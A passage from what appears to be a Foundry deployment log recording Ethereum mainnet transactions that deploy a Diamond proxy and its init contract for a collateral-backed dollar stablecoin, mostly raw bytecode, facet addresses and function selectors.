9b2dff5883c395120625fbe7e794fdcc5d305ce13ed0787826040516135d0929190918252602082015260400190565b60405180910390a150505050505050565b60008060008860006135f1613be8565b905080600801600082600101848154811061360e5761360e614488565b600091825260208083209091015473ffffffffffffffffffffffffffffffffffffffff16835282019290925260400190205460ff1661368f5760405162461bcd60e51b815260206004820152601360248201527f436f6c6c61746572616c2064697361626c6564000000000000000000000000006044820152606401610500565b613697613be8565b6016018b815481106136ab576136ab614488565b60009182526020918290209181049091015460ff601f9092166101000a900416156137185760405162461bcd60e51b815260206004820152601160248201527f4d696e74696e67206973207061757365640000000000000000000000000000006044820152606401610500565b613720613be8565b600c015461372c61122e565b101561377a5760405162461bcd60e51b815260206004820152601460248201527f446f6c6c617220707269636520746f6f206c6f770000000000000000000000006044820152606401610500565b6137838b613358565b858061379d5750620f4240613796613be8565b6006015410155b156137b7576137ac8b8b6124a6565b935060009250613845565b6137bf613be8565b600601546000036137ed57600093506137e66137d961251a565b6114ca8c620f4240613c43565b9250613845565b600061380c620f42406114ca613801613be8565b600601548e90613c43565b9050600061381a8c83613c37565b90506138268d836124a6565b955061384061383361251a565b6114ca83620f4240613c43565b945050505b613875620f42406114ca61386e61385a613be8565b6013018f8154811061177d5761177d614488565b8d90613c43565b9450888510156138c75760405162461bcd60e51b815260206004820152600f60248201527f446f6c6c617220736c69707061676500000000000000000000000000000000006044820152606401610500565b878411156139175760405162461bcd60e51b815260206004820152601360248201527f436f6c6c61746572616c20736c697070616765000000000000000000000000006044820152606401610500565b868311156139675760405162461bcd60e51b815260206004820152601360248201527f476f7665726e616e636520736c697070616765000000000000000000000000006044820152606401610500565b61396f613be8565b600a018b8154811061398357613983614488565b90600052602060002001546139a18561399b8e610ed9565b90613c5b565b11156139ef5760405162461bcd60e51b815260206004820152600c60248201527f506f6f6c206365696c696e6700000000000000000000000000000000000000006044820152606401610500565b6000600b01546040517f79cc67900000000000000000000000000000000000000000000000000000000081523360048201526024810185905273ffffffffffffffffffffffffffffffffffffffff909116906379cc679090604401600060405180830381600087803b158015613a6457600080fd5b505af1158015613a78573d6000803e3d6000fd5b50505050613ac8333086613a8a613be8565b6001018f81548110613a9e57613a9e614488565b60009182526020909120015473ffffffffffffffffffffffffffffffffffffffff16929190613e36565b6000600101546040517f40c10f190000000000000000000000000000000000000000000000000000000081523360048201526024810187905273ffffffffffffffffffffffffffffffffffffffff909116906340c10f1990604401600060405180830381600087803b158015613b3d57600080fd5b505af1158015613b51573d6000803e3d6000fd5b50505050505096509650969350505050565b6000807fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00613bb260017f7a9158dd65ad6382295fd9a8aad0a64b5d99867a77a0a1b2bc38a4f50be8bd77614586565b1692915050565b73ffffffffffffffffffffffffffffffffffffffff81166000908152600183016020526040812054151561053f565b6000807fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00613bb260017f2a1c4d9e43cc908458204ba8dd637dd73ede6adc739c3209ac617ae953246cc1614586565b600061053f8284614586565b600061053f82846149ba565b600061053f82846149d1565b600061053f828461496f565b600080613c72613be8565b9050600081600101805480602002602001604051908101604052809291908181526020018280548015613cdb57602002820191906000526020600020905b815473ffffffffffffffffffffffffffffffffffffffff168152600190910190602001808311613cb0575b5050505050905060005b8151811015613d57578473ffffffffffffffffffffffffffffffffffffffff16828281518110613d1757613d17614488565b602002602001015173ffffffffffffffffffffffffffffffffffffffff1603613d4557506001949350505050565b80613d4f81614982565b915050613ce5565b506000949350505050565b60405173ffffffffffffffffffffffffffffffffffffffff83166024820152604481018290526107d29084907fa9059cbb00000000000000000000000000000000000000000000000000000000906064015b604080517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe08184030181529190526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fffffffff0000000000000000000000000000000000000000000000000000000090931692909217909152613e94565b60405173ffffffffffffffffffffffffffffffffffffffff80851660248301528316604482015260648101829052612a829085907f23b872dd0000000000000000000000000000000000000000000000000000000090608401613db4565b6000613ef6826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c65648152508573ffffffffffffffffffffffffffffffffffffffff16613f899092919063ffffffff16565b9050805160001480613f17575080806020019051810190613f179190614a0c565b6107d25760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e60448201527f6f742073756363656564000000000000000000000000000000000000000000006064820152608401610500565b60606125128484600085856000808673ffffffffffffffffffffffffffffffffffffffff168587604051613fbd9190614a29565b60006040518083038185875af1925050503d8060008114613ffa576040519150601f19603f3d011682016040523d82523d6000602084013e613fff565b606091505b50915091506140108783838761401b565b979650505050505050565b606083156140975782516000036140905773ffffffffffffffffffffffffffffffffffffffff85163b6140905760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e74726163740000006044820152606401610500565b5081612512565b61251283838151156140ac5781518083602001fd5b8060405162461bcd60e51b81526004016105009190614a45565b60ff811681146105a657600080fd5b600080604083850312156140e857600080fd5b8235915060208301356140fa816140c6565b809150509250929050565b60006020828403121561411757600080fd5b5035919050565b803573ffffffffffffffffffffffffffffffffffffffff8116811461414257600080fd5b919050565b60006020828403121561415957600080fd5b61053f8261411e565b6000806040838503121561417557600080fd5b61417e8361411e565b946020939093013593505050565b6000806040838503121561419f57600080fd5b50508035926020909101359150565b600080600080608085870312156141c457600080fd5b5050823594602084013594506040840135936060013592509050565b6000806000606084860312156141f557600080fd5b6141fe8461411e565b925061420c6020850161411e565b9150604084013590509250925092565b6020808252825182820181905260009190848201906040850190845b8181101561426a57835173ffffffffffffffffffffffffffffffffffffffff1683529284019291840191600101614238565b50909695505050505050565b60005b83811015614291578181015183820152602001614279565b50506000910152565b600081518084526142b2816020860160208601614276565b601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0169290920160200192915050565b6020815281516020820152600060208301516101c080604085015261430d6101e085018361429a565b91506040850151614336606086018273ffffffffffffffffffffffffffffffffffffffff169052565b50606085015173ffffffffffffffffffffffffffffffffffffffff8116608086015250608085015160a085015260a085015161437660c086018215159052565b5060c085015160e08581019190915285015161010080860191909152850151610120808601919091528501516101406143b28187018315159052565b86015190506101606143c78682018315159052565b86015190506101806143dc8682018315159052565b8601516101a0868101919091529095015193019290925250919050565b60008060006060848603121561440e57600080fd5b505081359360208301359350604090920135919050565b80151581146105a657600080fd5b60008060008060008060c0878903121561444c57600080fd5b863595506020870135945060408701359350606087013592506080870135915060a087013561447a81614425565b809150509295509295509295565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000602082840312156144c957600080fd5b5051919050565b805169ffffffffffffffffffff8116811461414257600080fd5b600080600080600060a0868803121561450257600080fd5b61450b866144d0565b945060208601519350604086015192506060860151915061452e608087016144d0565b90509295509295909350565b60006020828403121561454c57600080fd5b815161053f816140c6565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b8181038181111561052257610522614557565b600181815b808511156145f257817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048211156145d8576145d8614557565b808516156145e557918102915b93841c939080029061459e565b509250929050565b60008261460957506001610522565b8161461657506000610522565b816001811461462c576002811461463657614652565b6001915050610522565b60ff84111561464757614647614557565b50506001821b610522565b5060208310610133831016604e8410600b8410161715614675575081810a610522565b61467f8383614599565b807fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048211156146b1576146b1614557565b029392505050565b600061053f83836145fa565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b60006020828403121561470657600080fd5b815167ffffffffffffffff8082111561471e57600080fd5b818401915084601f83011261473257600080fd5b815181811115614744576147446146c5565b604051601f82017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0908116603f0116810190838211818310171561478a5761478a6146c5565b816040528281528760208487010111156147a357600080fd5b614010836020830160208801614276565b600181811c908216806147c857607f821691505b602082108103614801577f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b50919050565b601f8211156107d257600081815260208120601f850160051c8101602086101561482e5750805b601f850160051c820191505b8181101561484d5782815560010161483a565b505050505050565b815167ffffffffffffffff81111561486f5761486f6146c5565b6148838161487d84546147b4565b84614807565b602080601f8311600181146148d657600084156148a05750858301515b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600386901b1c1916600185901b17855561484d565b6000858152602081207fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe08616915b8281101561492357888601518255948401946001909101908401614904565b508582101561495f57878501517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600388901b60f8161c191681555b5050505050600190811b01905550565b8082018082111561052257610522614557565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036149b3576149b3614557565b5060010190565b808202811582820484141761052257610522614557565b600082614a07577f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b500490565b600060208284031215614a1e57600080fd5b815161053f81614425565b60008251614a3b818460208701614276565b9190910192915050565b60208152600061053f602083018461429a56fea2646970667358221220343c2f151b0e944f752d8d2f199fe9c50ace488f84e16a2aba40011aaa5d745164736f6c63430008130033", + "nonce": "0x452", + "chainId": "0x1" + }, + "additionalContracts": [], + "isFixedGasLimit": false + }, + { + "hash": "0xdd953eb1dafbdb036b436d2cd1fa8c430bfb3a4cf2effb1924a161d570ca1bda", + "transactionType": "CREATE", + "contractName": null, + "contractAddress": "0x12fe22572873d18764df0c999b6c998bfab247fb", + "function": null, + "arguments": null, + "transaction": { + "from": "0xefc0e701a824943b469a694ac564aa1eff7ab7dd", + "gas": "0x64564", + "value": "0x0", + "input": "0x608060405234801561001057600080fd5b506104cb806100206000396000f3fe608060405234801561001057600080fd5b506004361061002b5760003560e01c80633cfffd3914610030575b600080fd5b61004361003e3660046103cf565b610045565b005b600061004f610245565b7f01ffc9a7000000000000000000000000000000000000000000000000000000006000908152600382016020526040808220805460017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0091821681179092557f1f931c1c00000000000000000000000000000000000000000000000000000000845282842080548216831790557f48e2b09300000000000000000000000000000000000000000000000000000000845282842080548216831790557f7f5828d0000000000000000000000000000000000000000000000000000000008452918320805490921617905583519192506101469161029b565b6101747f2fa9c45d1262dc83e302ea747fa1a6189169018ef59e5bf5bff35c386ec653cd836000015161029b565b6101a27fd59228754c59506641ecd586d489c0e7d376eb0bc93b21e1c031933d8d48c3a0836000015161029b565b6101d07f65d7a28e3265b37a6474929f336521b332c1681b933f6cb9f3376673440d862a836000015161029b565b50601680547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0016905551600a80547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff9092169190911790556001600055565b6000807fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0061029460017fc8fcad8db84d3cc18b4c41d551ea0ee66dd599cde068d998e57d5e09332c131c61045b565b1692915050565b6102bc816102a7610306565b60008581526020919091526040902090610355565b50604051339073ffffffffffffffffffffffffffffffffffffffff83169084907f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d90600090a45050565b6000807fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0061029460017f7a9158dd65ad6382295fd9a8aad0a64b5d99867a77a0a1b2bc38a4f50be8bd7761045b565b60006103778373ffffffffffffffffffffffffffffffffffffffff8416610380565b90505b92915050565b60008181526001830160205260408120546103c75750815460018181018455600084815260208082209093018490558454848252828601909352604090209190915561037a565b50600061037a565b6000602082840312156103e157600080fd5b6040516020810181811067ffffffffffffffff8211171561042b577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604052823573ffffffffffffffffffffffffffffffffffffffff8116811461045257600080fd5b81529392505050565b8181038181111561037a577f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fdfea26469706673582212205beec36dcd561f99ded7e9d8e36f3e88bb996cc370c357543136bbeec110208764736f6c63430008130033", + "nonce": "0x453", + "chainId": "0x1" + }, + "additionalContracts": [], + "isFixedGasLimit": false + }, + { + "hash": "0xfde72bf86abe4a31e46f993d9b44f44279f9fdcfad97b112768650e3bc3bc3bf", + "transactionType": "CREATE", + "contractName": "Diamond", + "contractAddress": "0xed3084c98148e2528dadcb53c56352e549c488fa", + "function": null, + "arguments": [ + "(0xefC0e701A824943b469a694aC564Aa1efF7Ab7dd, 0x12fe22572873D18764Df0c999b6C998bFAB247FB, 0x3cfffd39000000000000000000000000efc0e701a824943b469a694ac564aa1eff7ab7dd)", + "[(0xe17a61e55CCBc3D1E56B6A26eA1d4F8382a40AD9, 0, [0x248a9ca300000000000000000000000000000000000000000000000000000000, 0x2f2ff15d00000000000000000000000000000000000000000000000000000000, 0x91d1485400000000000000000000000000000000000000000000000000000000, 0x8456cb5900000000000000000000000000000000000000000000000000000000, 0x5c975abb00000000000000000000000000000000000000000000000000000000, 0x8bb9c5bf00000000000000000000000000000000000000000000000000000000, 0xd547741f00000000000000000000000000000000000000000000000000000000, 0x1e4e009100000000000000000000000000000000000000000000000000000000, 0x3f4ba83a00000000000000000000000000000000000000000000000000000000]), (0xd3C81BD07948a38546bCa894f8bfecB552613798, 0, [0x1f931c1c00000000000000000000000000000000000000000000000000000000]), (0xD11B60c336A8416162272475Ff9dF572E516fc51, 0, [0xcdffacc600000000000000000000000000000000000000000000000000000000, 0x52ef6b2c00000000000000000000000000000000000000000000000000000000, 0xadfca15e00000000000000000000000000000000000000000000000000000000, 0x7a0ed62700000000000000000000000000000000000000000000000000000000, 0x01ffc9a700000000000000000000000000000000000000000000000000000000]), (0x0E9f3299B9443d3D5130771f26B7E18a2a7aa9Db, 0, [0x1a47c90400000000000000000000000000000000000000000000000000000000, 0x421e108c00000000000000000000000000000000000000000000000000000000, 0x91df16d300000000000000000000000000000000000000000000000000000000, 0xb0bd67b400000000000000000000000000000000000000000000000000000000, 0x8b38ebb300000000000000000000000000000000000000000000000000000000, 0xebef28a700000000000000000000000000000000000000000000000000000000, 0x017df32700000000000000000000000000000000000000000000000000000000, 0xfbff3a4100000000000000000000000000000000000000000000000000000000, 0xe0ee685500000000000000000000000000000000000000000000000000000000, 0xbc3ea01800000000000000000000000000000000000000000000000000000000, 0xa9b8b79600000000000000000000000000000000000000000000000000000000, 0x214f788200000000000000000000000000000000000000000000000000000000, 0xb42165d000000000000000000000000000000000000000000000000000000000, 0x221e2e6000000000000000000000000000000000000000000000000000000000, 0x33c5aa5700000000000000000000000000000000000000000000000000000000, 0xc0030add00000000000000000000000000000000000000000000000000000000, 0xdd390ea000000000000000000000000000000000000000000000000000000000, 0xba2d8cdd00000000000000000000000000000000000000000000000000000000, 0x93e4e9ee00000000000000000000000000000000000000000000000000000000, 0x1a867af500000000000000000000000000000000000000000000000000000000, 0xf986cd5700000000000000000000000000000000000000000000000000000000, 0xf6f172cb00000000000000000000000000000000000000000000000000000000, 0x15f9739800000000000000000000000000000000000000000000000000000000, 0xe2d443bd00000000000000000000000000000000000000000000000000000000, 0x016afee700000000000000000000000000000000000000000000000000000000, 0xbe1d86e100000000000000000000000000000000000000000000000000000000, 0x9232461100000000000000000000000000000000000000000000000000000000, 0x1f7e8c7e00000000000000000000000000000000000000000000000000000000, 0x1c1f8aa300000000000000000000000000000000000000000000000000000000, 0x0083faee00000000000000000000000000000000000000000000000000000000, 0x147f1b9600000000000000000000000000000000000000000000000000000000, 0x6605bfda00000000000000000000000000000000000000000000000000000000, 0x826d5b8b00000000000000000000000000000000000000000000000000000000, 0xd3815fb900000000000000000000000000000000000000000000000000000000, 0x965cc7ac00000000000000000000000000000000000000000000000000000000, 0x3535f48b00000000000000000000000000000000000000000000000000000000, 0xad3401ed00000000000000000000000000000000000000000000000000000000, 0x36c3df2400000000000000000000000000000000000000000000000000000000, 0xc5f956af00000000000000000000000000000000000000000000000000000000, 0x8fe6368300000000000000000000000000000000000000000000000000000000, 0xe8b7342400000000000000000000000000000000000000000000000000000000]), (0x58860E93B6FC7A6e4aBD0F5d851A88654a34d0c0, 0, [0x8da5cb5b00000000000000000000000000000000000000000000000000000000, 0xf2fde38b00000000000000000000000000000000000000000000000000000000]), (0xb64f2347752192F51930Ad6Ad3bEa0B3A2074fAC, 0, [0x2ed4d2d600000000000000000000000000000000000000000000000000000000, 0x7efc918f00000000000000000000000000000000000000000000000000000000, 0x81f1746700000000000000000000000000000000000000000000000000000000, 0x9aae55a700000000000000000000000000000000000000000000000000000000, 0x82ae27cd00000000000000000000000000000000000000000000000000000000, 0xb4eae1cb00000000000000000000000000000000000000000000000000000000, 0x9c49437300000000000000000000000000000000000000000000000000000000, 0x9d202bf800000000000000000000000000000000000000000000000000000000, 0x9b52b9a800000000000000000000000000000000000000000000000000000000, 0x17b2bffa00000000000000000000000000000000000000000000000000000000, 0x87dcd5fb00000000000000000000000000000000000000000000000000000000, 0x5b0bdd8a00000000000000000000000000000000000000000000000000000000, 0x92beb04200000000000000000000000000000000000000000000000000000000, 0x245cd97300000000000000000000000000000000000000000000000000000000, 0x2287fe4000000000000000000000000000000000000000000000000000000000, 0xc4cb35cf00000000000000000000000000000000000000000000000000000000, 0xedecef9500000000000000000000000000000000000000000000000000000000, 0x7e625a5500000000000000000000000000000000000000000000000000000000, 0x30bbe58500000000000000000000000000000000000000000000000000000000, 0xde858d7c00000000000000000000000000000000000000000000000000000000, 0x6060663e00000000000000000000000000000000000000000000000000000000, 0xa14d1f7800000000000000000000000000000000000000000000000000000000, 0xcec10c1100000000000000000000000000000000000000000000000000000000, 0x9b94607c00000000000000000000000000000000000000000000000000000000, 0xecfd1a9e00000000000000000000000000000000000000000000000000000000, 0x7853c88800000000000000000000000000000000000000000000000000000000, 0xcbd4e7b400000000000000000000000000000000000000000000000000000000, 0x8106016300000000000000000000000000000000000000000000000000000000, 0xb98c9fe600000000000000000000000000000000000000000000000000000000, 0xaeaf4f0400000000000000000000000000000000000000000000000000000000, 0x040da68500000000000000000000000000000000000000000000000000000000, 0xedc8d27d00000000000000000000000000000000000000000000000000000000])]" + ], + "transaction": { + "from": "0xefc0e701a824943b469a694ac564aa1eff7ab7dd", + "gas": "0x48e7e0", + "value": "0x0", + "input": "0x60806040523480156200001157600080fd5b506040516200182f3803806200182f8339810160408190526200003491620011f2565b8151620000419062000064565b6200005c8183602001518460400151620000c660201b60201c565b505062001568565b60006200007062000321565b6004810180546001600160a01b038581166001600160a01b031983168117909355604051939450169182907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3505050565b60005b8351811015620002d2576000848281518110620000ea57620000ea6200130a565b6020026020010151602001519050600060028111156200010e576200010e62001320565b81600281111562000123576200012362001320565b0362000181576200017b8583815181106200014257620001426200130a565b6020026020010151600001518684815181106200016357620001636200130a565b6020026020010151604001516200035b60201b60201c565b620002bc565b600181600281111562000198576200019862001320565b03620001f0576200017b858381518110620001b757620001b76200130a565b602002602001015160000151868481518110620001d857620001d86200130a565b602002602001015160400151620005e660201b60201c565b600281600281111562000207576200020762001320565b036200025f576200017b8583815181106200022657620002266200130a565b6020026020010151600001518684815181106200024757620002476200130a565b6020026020010151604001516200087c60201b60201c565b60405162461bcd60e51b815260206004820152602760248201527f4c69624469616d6f6e644375743a20496e636f727265637420466163657443756044820152663a20b1ba34b7b760c91b60648201526084015b60405180910390fd5b5080620002c9816200134c565b915050620000c9565b507f8faa70878671ccd212d20771b795c50af8fd3ff6cf27f4bde57e5d4de0aeb673838383604051620003089392919062001396565b60405180910390a16200031c8282620009e0565b505050565b60008060ff196200035460017fc8fcad8db84d3cc18b4c41d551ea0ee66dd599cde068d998e57d5e09332c131c6200149d565b1692915050565b6000815111620003b15760405162461bcd60e51b815260206004820152602b60248201526000805160206200180f83398151915260448201526a1858d95d081d1bc818dd5d60aa1b6064820152608401620002b3565b6000620003bd62000321565b90506001600160a01b0383166200041b5760405162461bcd60e51b815260206004820152602c6024820152600080516020620017cb83398151915260448201526b65206164647265737328302960a01b6064820152608401620002b3565b6001600160a01b0383166000908152600182016020526040812054906001600160601b0382169003620004545762000454828562000ab2565b60005b8351811015620005df5760008482815181106200047857620004786200130a565b6020908102919091018101516001600160e01b031981166000908152918690526040909120549091506001600160a01b03168015620005205760405162461bcd60e51b815260206004820152603560248201527f4c69624469616d6f6e644375743a2043616e2774206164642066756e6374696f60448201527f6e207468617420616c72656164792065786973747300000000000000000000006064820152608401620002b3565b6001600160e01b0319821660008181526020878152604080832080546001600160a01b03908116600160a01b6001600160601b038c16021782558c168085526001808c0185529285208054938401815585528385206008840401805463ffffffff60079095166004026101000a948502191660e08a901c94909402939093179092559390925287905281546001600160a01b03191617905583620005c481620014b9565b94505050508080620005d6906200134c565b91505062000457565b5050505050565b60008151116200063c5760405162461bcd60e51b815260206004820152602b60248201526000805160206200180f83398151915260448201526a1858d95d081d1bc818dd5d60aa1b6064820152608401620002b3565b60006200064862000321565b90506001600160a01b038316620006a65760405162461bcd60e51b815260206004820152602c6024820152600080516020620017cb83398151915260448201526b65206164647265737328302960a01b6064820152608401620002b3565b6001600160a01b0383166000908152600182016020526040812054906001600160601b0382169003620006df57620006df828562000ab2565b60005b8351811015620005df5760008482815181106200070357620007036200130a565b6020908102919091018101516001600160e01b031981166000908152918690526040909120549091506001600160a01b039081169087168103620007b05760405162461bcd60e51b815260206004820152603860248201527f4c69624469616d6f6e644375743a2043616e2774207265706c6163652066756e60448201527f6374696f6e20776974682073616d652066756e6374696f6e00000000000000006064820152608401620002b3565b620007bd85828462000b1f565b6001600160e01b0319821660008181526020878152604080832080546001600160a01b03908116600160a01b6001600160601b038c16021782558c168085526001808c0185529285208054938401815585528385206008840401805463ffffffff60079095166004026101000a948502191660e08a901c94909402939093179092559390925287905281546001600160a01b031916179055836200086181620014b9565b9450505050808062000873906200134c565b915050620006e2565b6000815111620008d25760405162461bcd60e51b815260206004820152602b60248201526000805160206200180f83398151915260448201526a1858d95d081d1bc818dd5d60aa1b6064820152608401620002b3565b6000620008de62000321565b90506001600160a01b038316156200095f5760405162461bcd60e51b815260206004820152603660248201527f4c69624469616d6f6e644375743a2052656d6f7665206661636574206164647260448201527f657373206d7573742062652061646472657373283029000000000000000000006064820152608401620002b3565b60005b8251811015620009da5760008382815181106200098357620009836200130a565b6020908102919091018101516001600160e01b031981166000908152918590526040909120549091506001600160a01b0316620009c284828462000b1f565b50508080620009d1906200134c565b91505062000962565b50505050565b6001600160a01b038216620009f3575050565b62000a1882604051806060016040528060288152602001620017a36028913962000f79565b600080836001600160a01b03168360405162000a359190620014ea565b600060405180830381855af49150503d806000811462000a72576040519150601f19603f3d011682016040523d82523d6000602084013e62000a77565b606091505b509150915081620009da5780511562000a935780518082602001fd5b838360405163192105d760e01b8152600401620002b392919062001508565b62000ad781604051806060016040528060248152602001620017eb6024913962000f79565b6002820180546001600160a01b0390921660008181526001948501602090815260408220860185905594840183559182529290200180546001600160a01b0319169091179055565b6001600160a01b03821662000b9d5760405162461bcd60e51b815260206004820152603760248201527f4c69624469616d6f6e644375743a2043616e27742072656d6f76652066756e6360448201527f74696f6e207468617420646f65736e27742065786973740000000000000000006064820152608401620002b3565b63381b38f960e21b6001600160e01b031982160162000c175760405162461bcd60e51b815260206004820152602f60248201527f4c69624469616d6f6e644375743a2043616e27742072656d6f7665206469616d60448201526e37b73221baba10333ab731ba34b7b760891b6064820152608401620002b3565b306001600160a01b0383160362000c885760405162461bcd60e51b815260206004820152602e60248201527f4c69624469616d6f6e644375743a2043616e27742072656d6f766520696d6d7560448201526d3a30b1363290333ab731ba34b7b760911b6064820152608401620002b3565b6001600160e01b03198116600090815260208481526040808320546001600160a01b0386168452600180880190935290832054600160a01b9091046001600160601b0316929162000cd9916200149d565b905080821462000dd2576001600160a01b0384166000908152600186016020526040812080548390811062000d125762000d126200130a565b600091825260208083206008830401546001600160a01b038916845260018a019091526040909220805460079092166004026101000a90920460e01b92508291908590811062000d665762000d666200130a565b600091825260208083206008830401805463ffffffff60079094166004026101000a938402191660e09590951c929092029390931790556001600160e01b03199290921682528690526040902080546001600160a01b0316600160a01b6001600160601b038516021790555b6001600160a01b0384166000908152600186016020526040902080548062000dfe5762000dfe62001536565b60008281526020808220600860001990940193840401805463ffffffff600460078716026101000a0219169055919092556001600160e01b03198516825286905260408120819055819003620005df57600285015460009062000e64906001906200149d565b6001600160a01b038616600090815260018089016020526040909120015490915080821462000f1a57600087600201838154811062000ea75762000ea76200130a565b6000918252602090912001546002890180546001600160a01b03909216925082918490811062000edb5762000edb6200130a565b600091825260208083209190910180546001600160a01b0319166001600160a01b03948516179055929091168152600189810190925260409020018190555b8660020180548062000f305762000f3062001536565b60008281526020808220830160001990810180546001600160a01b03191690559092019092556001600160a01b0388168252600189810190915260408220015550505050505050565b813b8181620009da5760405162461bcd60e51b8152600401620002b391906200154c565b634e487b7160e01b600052604160045260246000fd5b604051606081016001600160401b038111828210171562000fd85762000fd862000f9d565b60405290565b604051601f8201601f191681016001600160401b038111828210171562001009576200100962000f9d565b604052919050565b80516001600160a01b03811681146200102957600080fd5b919050565b60005b838110156200104b57818101518382015260200162001031565b50506000910152565b60006001600160401b0382111562001070576200107062000f9d565b5060051b60200190565b600082601f8301126200108c57600080fd5b81516020620010a56200109f8362001054565b62000fde565b828152600592831b8501820192828201919087851115620010c557600080fd5b8387015b85811015620011e55780516001600160401b0380821115620010eb5760008081fd5b908901906060828c03601f1901811315620011065760008081fd5b6200111062000fb3565b6200111d89850162001011565b815260408085015160038110620011345760008081fd5b828b01529184015191838311156200114c5760008081fd5b82850194508d603f8601126200116457600093508384fd5b898501519350620011796200109f8562001054565b84815293871b85018101938a810193508e851115620011985760008081fd5b948101945b84861015620011d05785516001600160e01b031981168114620011c05760008081fd5b8452948a0194928a01926200119d565b908201528752505050928401928401620010c9565b5090979650505050505050565b600080604083850312156200120657600080fd5b82516001600160401b03808211156200121e57600080fd5b90840190606082870312156200123357600080fd5b6200123d62000fb3565b620012488362001011565b815260206200125981850162001011565b818301526040840151838111156200127057600080fd5b80850194505087601f8501126200128657600080fd5b8351838111156200129b576200129b62000f9d565b620012af601f8201601f1916830162000fde565b8181528983838801011115620012c457600080fd5b620012d5828483018589016200102e565b604084015250860151909450915080821115620012f157600080fd5b5062001300858286016200107a565b9150509250929050565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052602160045260246000fd5b634e487b7160e01b600052601160045260246000fd5b60006001820162001361576200136162001336565b5060010190565b60008151808452620013828160208601602086016200102e565b601f01601f19169290920160200192915050565b60006060808301818452808751808352608092508286019150828160051b8701016020808b0160005b848110156200146b57898403607f19018652815180516001600160a01b031685528381015189860190600381106200140757634e487b7160e01b600052602160045260246000fd5b868601526040918201519186018a905281519081905290840190600090898701905b80831015620014555783516001600160e01b031916825292860192600192909201919086019062001429565b50978501979550505090820190600101620013bf565b50506001600160a01b038a169088015286810360408801526200148f818962001368565b9a9950505050505050505050565b81810381811115620014b357620014b362001336565b92915050565b60006001600160601b038281166002600160601b03198101620014e057620014e062001336565b6001019392505050565b60008251620014fe8184602087016200102e565b9190910192915050565b6001600160a01b03831681526040602082018190526000906200152e9083018462001368565b949350505050565b634e487b7160e01b600052603160045260246000fd5b60208152600062001561602083018462001368565b9392505050565b61022b80620015786000396000f3fe60806040526000807fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0061005360017fc8fcad8db84d3cc18b4c41d551ea0ee66dd599cde068d998e57d5e09332c131c6101b5565b600080357fffffffff000000000000000000000000000000000000000000000000000000001681529116602081905260409091205490925082915073ffffffffffffffffffffffffffffffffffffffff166004361015610114576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601e60248201527f4469616d6f6e643a2053656c6563746f7220697320746f6f2073686f7274000060448201526064015b60405180910390fd5b73ffffffffffffffffffffffffffffffffffffffff8116610191576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4469616d6f6e643a2046756e6374696f6e20646f6573206e6f74206578697374604482015260640161010b565b3660008037600080366000845af43d6000803e8080156101b0573d6000f35b3d6000fd5b818103818111156101ef577f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b9291505056fea2646970667358221220f85fc07f2d35b24eaa0af26d3fd7ec2932df0ab65906b6f77e8f44c46edd70c564736f6c634300081300334c69624469616d6f6e644375743a205f696e6974206164647265737320686173206e6f20636f64654c69624469616d6f6e644375743a204164642066616365742063616e277420624c69624469616d6f6e644375743a204e657720666163657420686173206e6f20636f64654c69624469616d6f6e644375743a204e6f2073656c6563746f727320696e206600000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000100000000000000000000000000efc0e701a824943b469a694ac564aa1eff7ab7dd00000000000000000000000012fe22572873d18764df0c999b6c998bfab247fb000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000243cfffd39000000000000000000000000efc0e701a824943b469a694ac564aa1eff7ab7dd00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000002600000000000000000000000000000000000000000000000000000000000000300000000000000000000000000000000000000000000000000000000000000042000000000000000000000000000000000000000000000000000000000000009c00000000000000000000000000000000000000000000000000000000000000a80000000000000000000000000e17a61e55ccbc3d1e56b6a26ea1d4f8382a40ad9000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000009248a9ca3000000000000000000000000000000000000000000000000000000002f2ff15d0000000000000000000000000000000000000000000000000000000091d14854000000000000000000000000000000000000000000000000000000008456cb59000000000000000000000000000000000000000000000000000000005c975abb000000000000000000000000000000000000000000000000000000008bb9c5bf00000000000000000000000000000000000000000000